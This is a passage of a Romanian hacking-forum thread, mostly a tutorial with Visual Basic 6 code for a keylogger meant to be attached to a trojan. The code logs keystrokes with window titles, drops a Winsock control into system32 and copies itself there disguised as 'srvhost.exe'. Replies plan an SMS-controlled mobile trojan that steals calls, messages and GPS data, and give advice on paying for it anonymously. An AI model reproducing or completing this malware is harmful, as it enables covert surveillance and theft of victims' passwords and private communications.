Ca sa explic putin mai detaliat : In timer , de fiecare data , i va reprezenta codul ASCII al majusculei literei pentru care x va verifica daca a fost apasata . Adica va fi 65 pentru A , 66 pentru B etc. Iar x2 va verifica daca tasta shift a fost apasata . Daca a fost apasata adaugam la log caracterul corespunzator codului ASCII al lui i , iar daca nu , adaugam caracterul corespunzator codului ASCII al lui i+32 . De exemplu codul ASCII al literei a ( minuscula ) este 65 ( codul lui A - majuscula ) + 32 , adica 97 , al literei b este ( 66 - codul lui B ) + 32 , adica 98 etc. Functia Chr returneaza caracterul corespunzator codului ASCII primit ca parametru .

Sa transformam acum programul nostru astfel incat sa captureze cat mai multe dintre taste . Pentru codurile ASCII va puteti uita la aceasta imagine : http://www.italysoft.com/utility/converters/asciifull.gif . Pe noi nu ne intereseaza toate , cu literele am rezolvat , sa verificam acum cifrele . In imagine se poate vedea : 0 are codul ASCII 48 , 1 are 49 etc . Dar si aici avem o mica problema . Daca tasta Shift e apasata , atunci nu vor fi scrise de la tastatura cifre ci caractere : !@# ... Codul nostru va arata cam asa :

Private Sub Timer1_Timer()

Dim x, x2, i As Integer

For i = 48 To 57 ' i va fi pe rand codul ASCII al cifrelor de la 0 la 9

x = GetAsyncKeyState(i) ' x va verifica fiecare cifra in parte

x2 = GetAsyncKeyState(16) ' x2 va verifica tasta shift

If x = -32767 Then ' Daca o tasta reprezentand un caracter a fost apasata

Select Case i ' Verificam ce tasta a fost apasata , in functie de codul ASCII

Case 48 ' Daca tasta apasata are codul ASCII 48 - corespunzator lui 0

If x2 = -32768 Then ' Daca tasta shift e apasata

Text1.Text = Text1.Text & ")" ' Adaugam la log caracterul ")" corespunzator cifrei 0

Else: Text1.Text = Text1.Text & "0" ' Daca tasta shift nu a fost apasata adaugam caracterul 0

End If

Case 49 ' Pentru tasta cu codul ASCII 49 adica tasta 1

If x2 = -32768 Then ' Daca tasta shift a fost apasata

Text1.Text = Text1.Text & "!" ' Adaugam caracterul "!" corespunzator tastei 1

Else: Text1.Text = Text1.Text & "1" ' Daca nu a fost shift apasata adaugam 1 , si asa mai departe

End If

Case 50

If x2 = -32768 Then

Text1.Text = Text1.Text & "@"

Else: Text1.Text = Text1.Text & "2"

End If

Case 51

If x2 = -32768 Then

Text1.Text = Text1.Text & "#"

Else: Text1.Text = Text1.Text & "3"

End If

Case 52

If x2 = -32768 Then

Text1.Text = Text1.Text & "$"

Else: Text1.Text = Text1.Text & "4"

End If

Case 53

If x2 = -32768 Then

Text1.Text = Text1.Text & "%"

Else: Text1.Text = Text1.Text & "5"

End If

Case 54

If x2 = -32768 Then

Text1.Text = Text1.Text & "^"

Else: Text1.Text = Text1.Text & "6"

End If

Case 55

If x2 = -32768 Then

Text1.Text = Text1.Text & "&"

Else: Text1.Text = Text1.Text & "7"

End If

Case 56

If x2 = -32768 Then

Text1.Text = Text1.Text & "*"

Else: Text1.Text = Text1.Text & "8"

End If

Case 57

If x2 = -32768 Then

Text1.Text = Text1.Text & "("

Else: Text1.Text = Text1.Text & "9"

End If

End Select ' Inchidem instructiunea select

End If

Next

End Sub

Acest lucru se poate face mai simplu folosind functia IIf(iif) - operatorul ternar din Visual Basic . Functia IIf are 3 parametri : expresie , instrunctiune1 , instructiune2 . Functia verifica daca primul parametru , expresia e adevarata : daca e adevarata executa instruciunea I , in cazul nostru va retura cel de-al doilea parametru , iar daca expresia e falsa , va executa instructiunea a doua , cel de-al III-lea parametru , ca cazul nostru va returna ultimul parametru . Veti intelege mai bine pe exemplu :

Select Case i ' La fel , vom verifica codul ASCII al tastei care a fost apasate

Case 48 ' Daca a fost apasata tasta 0

Text1.Text = Text1.Text & IIf(x2 = -32768, ")", "0") ' Daca tasta shift a fost apasata , adaugam la log ")" , daca nu , adaugam "0"

Case 49

Text1.Text = Text1.Text & IIf(x2 = -32768, "!", "1") ' La fel , daca tasta shift a fost apasata , adaugam la log "!" , daca nu , adaugam "1" , etc.

Case 50

Text1.Text = Text1.Text & IIf(x2 = -32768, "@", "2")

Case 51

Text1.Text = Text1.Text & IIf(x2 = -32768, "#", "3")

Case 52

Text1.Text = Text1.Text & IIf(x2 = -32768, "$", "4")

Case 53

Text1.Text = Text1.Text & IIf(x2 = -32768, "%", "5")

Case 54

Text1.Text = Text1.Text & IIf(x2 = -32768, "^", "6")

Case 55

Text1.Text = Text1.Text & IIf(x2 = -32768, "&", "7")

Case 56

Text1.Text = Text1.Text & IIf(x2 = -32768, "*", "8")

Case 57

Text1.Text = Text1.Text & IIf(x2 = -32768, "(", "9")

End Select

Sa continuam cu tastele care reprezinta semne de punctuatie , paranteze ( <>?,./_=| ) etc. Nu mai stau sa insir codurile lor . Codul arata cam asa :

For i = 186 To 222 ' Verificam de la 186 pana la 222 . Nu avem nevoie de mai mult .

x = GetAsyncKeyState(i)

x2 = GetAsyncKeyState(16)

If x = -32767 Then

Select Case i

Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, "|", "\")

Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, "<", ",")

Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, "_", "-")

Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, ">", ".")

Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, "?", "/")

Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, "+", "=")

Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, ":", ";")

Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), "'")

Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, "{", "[")

Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]")

Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, "~", "`")

End Select

Sa verificam acum F-urile : F1 , F2 ... Codurile lor sunt : 112 , 113 ... 123 si codul arata cam asa :

For i = 112 To 123

x = GetAsyncKeyState(i)

x2 = GetAsyncKeyState(16)

If x = -32767 Then

Select Case i

Case 112: Text1.Text = Text1.Text & " F1 "

Case 113: Text1.Text = Text1.Text & " F2 "

Case 114: Text1.Text = Text1.Text & " F3 "

Case 115: Text1.Text = Text1.Text & " F4 "

Case 116: Text1.Text = Text1.Text & " F5 "

Case 117: Text1.Text = Text1.Text & " F6 "

Case 118: Text1.Text = Text1.Text & " F7 "

Case 119: Text1.Text = Text1.Text & " F8 "

Case 120: Text1.Text = Text1.Text & " F9 "

Case 121: Text1.Text = Text1.Text & " F10 "

Case 122: Text1.Text = Text1.Text & " F11 "

Case 123: Text1.Text = Text1.Text & " F12 "

End Select

Am vazut cum putem verifica cifrele si literele si semnele de punctuatie si F-urile , sa verificam si restul tastelor , cat mai multe . Nu ne intereseaza toate codurile ASCII , pe noi ne intereseaza urmatoarele : Backspace ( 8 ) , Tab ( 9 ) , Enter ( 13 ) , Ctrl ( 17 ) , Alt ( 18 ) , Pause ( 19 ) , Capslook ( 20 ) , Esc ( 27 ) , Space ( 32 ) , PageUp ( 33 ) , PageDown ( 34 ) , End ( 35 ) , Home ( 36 ) , Left ( 37 ) , Up ( 38 ) , Right ( 39 ) , Down ( 40 ) , PrintScreen ( 44 ) , Insert ( 45 ) , Delete ( 46 ) , Windows ( 91 , 92 ) , Numlock ( 144 ) , liniile : Stanga ( 37 ) , Sus ( 38 ) , Dreapta ( 39 ) , Jos ( 40 ) . Vom avea :

Case 8: Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) - 1) ' Daca e apasata tasta Backspace , stergem un caracter din logul nostru

Case 9: Text1.Text = Text1.Text & " [ Tab ] " ' Pentru tasta TAB

Case 13: Text1.Text = Text1.Text & vbCrLf ' Daca este apasata tasta Enter trecem pe o noua linie

Case 17: Text1.Text = Text1.Text & " [ Ctrl ]" ' Tasta CTRL etc.

Case 18: Text1.Text = Text1.Text & " [ Alt ] "

Case 19: Text1.Text = Text1.Text & " [ Pause ] "

Case 20: Text1.Text = Text1.Text & " [ Capslock ] "

Case 27: Text1.Text = Text1.Text & " [ Esc ] "

Case 32: Text1.Text = Text1.Text & " " ' Pentru tasta Space adaugam un spatiu

Case 33: Text1.Text = Text1.Text & " [ PageUp ] "

Case 34: Text1.Text = Text1.Text & " [ PageDown ] "

Case 35: Text1.Text = Text1.Text & " [ End ] "

Case 36: Text1.Text = Text1.Text & " [ Home ] "

Case 37: Text1.Text = Text1.Text & " [ Left ] " ' Liniuta in stanga

Case 38: Text1.Text = Text1.Text & " [ Up ] " ' Liniuta in sus

Case 39: Text1.Text = Text1.Text & " [ Right ] " ' Liniuta in dreapta

Case 40: Text1.Text = Text1.Text & " [ Down ] " ' Liniuta in jos

Case 41: Text1.Text = Text1.Text & " [ Select ] "

Case 44: Text1.Text = Text1.Text & " [ PrintScreen ] " ' Tasta PrintScreen ...

Case 45: Text1.Text = Text1.Text & " [ Insert ] "

Case 46: Text1.Text = Text1.Text & " [ Del ] "

Case 47: Text1.Text = Text1.Text & " [ Help ] "

Case 91, 92: Text1.Text = Text1.Text & " [ Windows ] " ' Avem doua butoane de Windows cu codurile 91 si 92

Sper ca ai prins ideea . Am ezitat sa pun intregul cod pentru eventuale Copy/Paste . Vreau sa intelegeti . Desigur , codul poate fi scris mai compact , dar asta ramane la latitudinea voastra .

Sa trecem mai departe , sa vedem cum putem vedea in ce fereastra e scris textul ( multumiri vladii - http://de-ce.net ) .

Ideea de baza e simpla : gasim fereastra activa ( foreground ) - nu poti scrie intr-o fereastra inactiva , apoi adaugam titlul ferestrei in log si la apasarea unor taste , le adaugam in log .

Vom avea nevoie de 2 API-uri :

Private Declare Function GetForegroundWindow Lib "user32" () As Long

Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" ( ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long

Ce fac aceste functii : GetForegroundWindow nu are nici un parametru si returneaza un handler catre fereastra activa , iar GetWindowText are 3 parametri : hwnd este handlerul ferestrei din care vrem sa preluam titlul , va fi rezultatul functiei GetForegroundWindow , sWndTitle este un parametru de iesire ( transmis prin referinta ) , valoarea lui se va modifica dupa apelul functiei , iar el va fi titlul ferestrei , cLen reprezinta lungimea maxima a celui de-al doilea parametru . Atentie , vom avea nevoie de un string de lungime fixa . Vom avea o mica problema cu adaugatul titlului ferestrei la log , nu vrem sa o adaugam de prea multe ori , deoarece vom avea tot timpul o fereastra activa . Solutia : gasim fereastra activa si o memoram intr-o variabila si o adaugam la log . Cat timp e aceeasi fereastra activa adaugam tastele apasate la log , verificand fereastra activa cu alta variabila . Daca gasim alta fereastra , o adaugam la log si din nou adaugam la log tastele apasate . Ceea ce vom face :

Private hForegroundWnd As Long ' Variabila globala . Nu o vom declara in timer deoarece vom avea nevoie de valoarea ei nemodificata . Daca am declara-o in Timer ea ar fi initializata la fiecare rulare a Timerului .

Private Sub Timer1_Timer()

Dim x, x2, i As Integer ' Variabilele de care vom avea nevoie pentru keylogger

Dim win As Long ' Ne va trebui pentru a verifica fereastra activa

Dim Title As String * 1000 ' String de lungime fixa , in el vom "captura" titlul ferestrei active

win = GetForegroundWindow() ' Gasim fereastra activa

If (win = hForegroundWnd) Then ' Si o comparam cu hForegroundWnd ( globala ) pentru a vedea daca sunt handlerele aceleiasi ferestre , sa nu adaugam in log aceeasi fereastra de 1000 de ori .

GoTo Keylogger ' Daca este aceeasi fereastra mergem la keylogger si capturam tastele apasate si le adaugam in log ca fiind ale ferestrei active

Else ' Daca nu

hForegroundWnd = GetForegroundWindow() ' hForegroundWnd va fi handlerul ferestrei active . Il vom compara ulterior cu win

Title = "" ' Initializam stringul Title cu ""

GetWindowText hForegroundWnd, Title, 1000 ' Preluam in Title , titlul ferestrei active folosind handlerul obtinut anterior ( hForegroundWnd )

If Asc(Title) > 0 Then ' Verificam codul ASCII al primului caracter din Title . Daca este 0 ( null ) nu il vom adauga - daca nu verificati primul caracter , la minimizarea ferestrelor va fi adaugat in log ca fereastra spatiu vid "" si nu arata foarte frumos .

Text1.Text = Text1.Text & vbCrLf & vbCrLf & "[ " & Title ' Adaugam la log 2 linii noi urmate de titlul ferestrei in paranteze patrate ( mie imi place cum arata , puteti pune cum vreti ) .

Text1.Text = Text1.Text & " ]" & vbCrLf ' Cum Title este un string de lungime fixa va trebui sa inchidem paranteza patrata ulterior , mai adaugam un spatiu , sub titlul ferestrei urmand sa apara tastele apasate

End If ' Inchidem If-ul pentru verificarea lui Title

End If ' Inchidem If-ul pentru compararea lui win cu hForegroundWnd

Exit Sub ' Iesim din Sub , pentru a nu "manca" memoria degeaba

Keylogger: ' Mai jos urmeaza Keyloggerul . El va fi rulat daca hForegroundWnd = win adica daca de la ultima rulare a timerului , avem aceeasi fereastra , daca este aceeasi fereastra activa .

Ce ramane de facut pentru atasarea keyloggerului trojanului nostru : decat trimiterea datelor din server spre client . Puteti adauga tot felul de optiuni , trebuie sa aveti imaginatie .

>>>> Sfaturi utile :

>> Fixarea erorii "Missing File" pentru Winsock

E destul de importata aceasta problema . Fara acel ocx ( mswinsck.ocx ) nu vor merge nici serverul nici clientul . Acel ocx trebuie sa fie in system32 . Putem rezolva usor problema cu un fisier de resurse : Add-Ins >> Add-In Manager >> Click VB6 Resource Editor si bifati Loaded/Unloaded si Load On StartUp . Intrati in el ( verde ) apasati penultimul buton si adaugati mswinsck.ocx . La compilare va trebui salvat fisierul de resurse . Apoi in cod :

Private Sub Form_Initialize() ' Evenimentul are loc inaintea lui Form_Load

If Dir("C:\WINDOWS\system32\MSWINSCK.OCX") = "" Then ' Verificam daca fisierul exista si daca nu exista

Dim i() As Byte ' Declaram vectorul i

i = LoadResData(101, "CUSTOM") ' I va prelua continutul lui mswinsck.ocx din fisierul de resurse

Open "C:\WINDOWS\system32\MSWINSCK.OCX" For Binary Access Write As #1 ' Deschidem C:\WINDOWS\system32\MSWINSCK.OCX binar pentru scriere

Put #1, , i ' Scriem in C:\WINDOWS\system32\MSWINSCK.OCX continutul lui i adica mswinsck.ocx

Close #1 ' Inchidem fisierul

End If ' Inchidem If-ul

End Sub

Acest lucru se poate face si pentru alte ocx-uri sau alte fisiere . Insa ar putea interveni o eroare : Path acces error in caz ca cel care ruleaza programul nu are drepturi de administrator .

Se poate folosi si o arhiva SFX - WinRar care se face foarte usor .

>> Auto-Copierea serverului

Lucru de asemenea foarte important , care se face foarte usor cu arhiva SFX . Cei mai multi trojeni se copiaza in system32 cu diferite nume : srvhost , svchost32 si altele . Serverul se poate autocopia astfel ( in Form_Load )

FileCopy App.Path & "/" & App.EXEName & ".exe", "C:\WINDOWS\system32\srvhost.exe" ' Se auto-copiaza in "C:\WINDOWS\system32\srvhost.exe" . App.Path este folderul in care se afla serverul , App.EXEName este numele executabilului , legatura e vizibila .

Se poate copia dintr-un alt executabil , dintr-un fisier de resurse .

>> Erori la rulare

Va recomand folosirea instructiunii On Error Resume Next . In cazul unei erori programul nu se opreste . Folositi-o in server cat mai des , dar NU in timp ce lucrati la server . Asa e foarte posibil sa pierdeti erori , si codul sa nu functioneze corect . Si la client e folositoare .

Daca ati citit pana aici in primul rand felicitari . Sper ca nu ati pierdut timpul degeaba si ca ati invatat cat mai multe . Si eu sper ca nu am pierdut timpul degeaba .

Astept intrebari si posibile greseli . Astept de asemenea creatiile voastre .

Autor : Nytro

Vizitati : http://rstcenter.com

Edited by Nytro
Posted

nu am experienta mai deloc in ceea ce priveste programarea dar vreau sa invat si as vrea sa ma folosesc de acest tutorial. pentru inceput as avea o intrebare: in loc de vb 6 pot folosii vb 2008 express edition?pentru ca am inteles ca sunt diferente destul de mari.stiu ca suna a intrebare de noob dar as aprecia daca mi-ar raspunde cineva!

Posted
Functia noastra are nevoie de un singur parametru si anume bSwap . Vom da acestui parametru valoarea 0 pentru ca butoanele sa nu fie inversate , si 0 ca sa le inversam .

Unul din ele trebuia sa fie 1 , nu ?

Posted

Si cum se realizeaza comunicatia client ( PC banuiesc ) si server ( telefon ), prin Bluetooth? Cred ca in VS2008 se poate pentru Windows Mobile, dar nu cred ca telefonul permite executarea oricaror comenzi.

Posted (edited)

Probabil ca am ales eronat locul acestui post. Sau poate nu...

In fine, iata la ce ma gandeam:

Un trojan care odata instalat pe un terminal mobil care ruleaza Symbian sau WM, sa stocheze evenimentele care au loc pe telefon (apeluri, sms-uri, email-uri, schimbarea sim-ului, pozitionare gps, etc.) si sa le livreze (ca pachete de date, via GPRS) catre un server sau ca sms-uri, catre un alt terminal mobil.

Bluetooth-ul nu are relevanta, instalarea trojan-ului se poate face prin download (Internet, cd, etc.)

Am incercat sa lucrez in Carbide+ o astfel de aplicatie... mi-am prins urechile. Nu sunt programator.

Any advice?

PS: comunicatia client - server (sau mobil-mobil) sau mai bine zis comanda server-client se realizeaza prin trimiterea unor linii de comanada gen <*123#><0751234567>, unde <*123#> este comanda in sine, iar <0751234567> este numarul de telefon al clientului. Vectorul comenzilor este un mesaj sms, indetectabil de catre Symbian, dar la care reactioneaza trojanul.

Edited by FSpy
PS
Posted

Dar asa ar fi nevoie in primul rand de o conexiune. In al doilea rand, ar provoca cost suplimentar sau golirea creditului ( traficul la Internet ). Cat despre comunicatia client-server, nu stiu daca se poate face cu socketuri, dar se poate face folosind un script PHP, iar serverul din telefon ar face request catre script.php?mesaj=%mesaj%&dela=0744... Asta pentru a se fura informatii confidentiale, dar nu stiu daca o aplicatie poate accesa mesajele...

Posted (edited)
Dar asa ar fi nevoie in primul rand de o conexiune. In al doilea rand, ar provoca cost suplimentar sau golirea creditului ( traficul la Internet ). Cat despre comunicatia client-server, nu stiu daca se poate face cu socketuri, dar se poate face folosind un script PHP, iar serverul din telefon ar face request catre script.php?mesaj=%mesaj%&dela=0744... Asta pentru a se fura informatii confidentiale, dar nu stiu daca o aplicatie poate accesa mesajele...

Conexiunea exista, atat timp cat telefonul atacat se afla in reteaua gsm. Comenzile se trimit prin sms-uri, direct trojan-ului si nedetectabile de catre Symbian (si implicit de fisierul cu sms-uri primite).

Costul suplimentar nu este o mare problema. Transferul de pachete de date via GPRS este taxat extrem de ieftin de catre operatorii de retea gsm. Deasemeni, acoperirea GPRS este quasi-totala. Desigur, pentru o cartele pre pay exista riscul epuizarii creditului. Tip: operatorii romani de retea permit reincarcarea unei cartele pre pay de la ghiseul operatorului. Fara a se solicita un ID, oricine poate incarca orice cartela pre pay. Pe acea cartela pre pay nu va aparea numele sau numarul de telefon al celui care a reincarcat (respectiv initiatorul atacului), ci doar suma reincarcata si perioada de valabilitate.

Sunt convins ca o astfel de aplicatie poate accesa fisierele care contin sms-urile, la fel cum lesne le poate accesa si copia pe cele care contin memoria apelurilor, email-urile, pozitionarea gps...

Ar trebui sa fie o varianta simpla a unui trojan, adaptat (sau construit) pentru Symbian.

PS: iti multumesc atat pentru atentia acordata, cat si pentru raspunsurile prompte. Personal, administrez alte trei forumuri tematice si cunosc indeaproape eforturile cu volumul de timp alocat.

Edited by FSpy
Posted

Toata stima si respectul daca reusesti sa faci asa ceva. Insa nu prea am inteles cum primeste comenzile. Bun, e conectat la Internet, dar de unde stie ce sa faca, cum citeste comenzile? Nu stiu daca se pot folosi socketuri, si chiar daca se poate, trebuie sa te conectezi printr-un socket la un telefon. Sau, versiunea simpla, serverul din telefon reciteste o pagina ( ar produce astfel o paguba in costul suplimentar/creditul victimei ). apoi parseaza textul citit. Daca reusesti sa trimiti date catre un telefon folosindu-te de numarul de telefon, atunci cred ca vei reusi si sa trimiti mesaje, chiar sa suni, de exemplu, de pe Pc pe telefon, fara nici un ban. Oricum imi place ideea, si nu prea cred ca e imposibil, e doar greu. :)

Posted

Este vorba despre instalarea trojanului? Va trebui facuta de utilizator, care va fi nevois sa aiba telefonul atacat pe maini, pentru 2-3 minute. Download-ul si instalarea se poate face de pe Internet (server), sau de pe cd.

Comenzile le primeste prin sms-uri. Avantajul trojanelor pentru telefoanele mobile este dat de faptul ca acestea sunt in permanenta "online", si nu poate fi restrictionata primirea unui sms.

Imi imaginez ca trojanul colecteaza (sau copiaza) evenimentele care eu loc pe telefon, si din timp in timp (configurabil de catre atacator, tot via sms) le transmite ca pachete de date, via GPRS, pe un cont de email sau catre un server. Practic, va trebui sa copieze fisierele Symbian care contin acele date, si sa le livreze la intervale prestabilite. Comenzile nu vor fi trimise de pe un pc (asta e mai greu) ci de la un telefon care joaca rolul de "master", prin intermediul sms-urilor.

Posted

Hmm, interesant daca serverul va sti sa faca ceva la primirea unui sms. Ar procesa comanda apoi ar sterge mesajul cu acea comanda. Dar nu cred ca se permite accesul asa de usor. De fapt nu stiu, dar trebuie macar sa intrebe telefonul ceva de genul: "Permiteti aplicatiei accesul la...".

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...